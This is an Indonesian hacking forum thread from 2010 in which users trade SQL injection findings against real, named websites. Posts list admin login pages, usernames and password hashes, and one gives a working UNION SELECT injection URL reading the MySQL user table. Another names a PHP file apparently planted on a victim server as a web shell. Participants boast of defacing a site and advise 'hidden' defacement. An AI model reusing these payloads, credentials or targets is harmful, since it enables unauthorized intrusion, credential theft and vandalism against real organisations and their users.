Page 1 of 2

bug sql lagi neh...

Posted: Mon May 31, 2010 10:18 pm
by danang cool
http://www.beraucoal.co.id/

login:http://www.beraucoal.co.id/login.php

user:dini
pass:xxxxxx
user:administrator
password:xxxxxx :love: :love: :love: :love:
:ngakak: :ngakak: :ngakak: :ngakak: :ngakak:

http://www.perpus-klaten.net/
login:http://www.perpus-klaten.net/login.php
user:admin
pass:xxxxxx
level:super

Re: bug sql lagi neh...

Posted: Mon May 31, 2010 10:34 pm
by shinichi81
makasih bos...tapi tidak bisa login nih...soalnya login.php sepertinya dah di enkripsi lagi yah bos.. :tapa: :tapa:

Re: bug sql lagi neh...

Posted: Mon May 31, 2010 10:43 pm
by danang cool
iya bos..aku sampe puyeng nih...
ni ada lagi...

http://gigi.klikdokter.com/article.php?id=3

iluni:1f14598500e044cb
klikdokteradm:1eabc305578153ef
admin:0d2f851159999c86

tadi tak decrypt md5 muncul lagi enkripsi baru...duh bisa minta bantuan para master.... :circle:

tambah lagi..tapi makin puyeng soalnya gak tahu di enkrip pake apa... :omg: :omg:

http://dymarjaya.co.id/newsdetail.php?id=5

ÔÍÛÞÐ:·âÛÖÔ¥™Ÿ¥

Re: bug sql lagi neh...

Posted: Tue Jun 01, 2010 4:59 pm
by danang cool
tambahan bug baru...
http://www.smkn2bukittinggi.com/gallery.php?id=5

user:admin
passw:b1n4ryd3cac1c5c186529188692e083b2cff2454e2432b
user:developer
passw:b1n4ry1e4b846ce1a0cdfe819efe7b224ead9203b5f25f

login:http://www.smkn2bukittinggi.com/admin/login.php
monggo silahkan diteruskan... :devil :devil

lagi....http://www.yamaha-vega.or.id/article.ph ... 0701090001
user:redaksi
pasw:xxxxxx
user:bimos
passw:xxxxxx

http://www.krlmania.com/gerbong/read.php?id=1792

ta[i gak ketemu user adminnya...cuma user2 biasa :mati:

Re: bug sql lagi neh...

Posted: Tue Jun 01, 2010 6:19 pm
by cyber_criminal
yg http://www.yamaha-vega.or.id/ udah di deface bro !!!

Re: bug sql lagi neh...

Posted: Tue Jun 01, 2010 6:29 pm
by danang cool
itu ane yang deface bro...setelah ane deface pake gambar dari x code..
initial j0ck3r.... :devil :devil

Re: bug sql lagi neh...

Posted: Tue Jun 01, 2010 7:15 pm
by danang cool
http://www.pabanyuwangi.net/index.php?aksi=detail&id=25

user:admin
pass:b88fa6e1825bba17e64439e50c09223c
login page :http://www.pabanyuwangi.net/admin
:maaf: :maaf:

Re: bug sql lagi neh...

Posted: Wed Jun 02, 2010 3:25 am
by 3xtr3m3b0y
danang cool wrote:iya bos..aku sampe puyeng nih...
ni ada lagi...

http://gigi.klikdokter.com/article.php?id=3

iluni:1f14598500e044cb
klikdokteradm:1eabc305578153ef
admin:0d2f851159999c86

tadi tak decrypt md5 muncul lagi enkripsi baru...duh bisa minta bantuan para master.... :circle:
Mgkn itu bukan tabel yg tepat Om, coba cek tabel yg lain
Kayakx user database yg aktif setingkat ROOT, soalnya bisa buka database mysql:

Code: Select all

http://gigi.klikdokter.com/article.php?id=-3+union+select+1,2,user(),database(),5,6,7+from+mysql.user--
Monggo dikembangkan lebih lanjut, tutornya sdh ada dibahas sebelumnya.
Hasilnya sementara sprt ini:

Code: Select all

http://www.klikdokter.com/userfiles/.3xtr3m3b0y.php
NB: For educational only...!!!

Re: bug sql lagi neh...

Posted: Fri Jun 04, 2010 1:43 pm
by nenenporeper
lagi....http://www.yamaha-vega.or.id/article.ph ... 0701090001
user:xxxxxx
pasw:xxxxxx
user:xxxxxx
passw:xxxxxx

web yang gw urus neey :cry:

Re: bug sql lagi neh...

Posted: Fri Jun 04, 2010 2:02 pm
by 3xtr3m3b0y
nenenporeper wrote:lagi....http://www.yamaha-vega.or.id/article.ph ... 0701090001
user:xxxxxx
pasw:xxxxxx
user:xxxxxx
passw:xxxxxx

web yang gw urus neey :cry:
Segera di patch Om, Pass di enkripsi serta diganti...

NB: Buat teman2 please jgn share Password di forum terutama Password yg tdk terenkripsi, jika mo deface sebaiknya gunakan HIdden Deface, jgn melakukan daface pada halaman utama...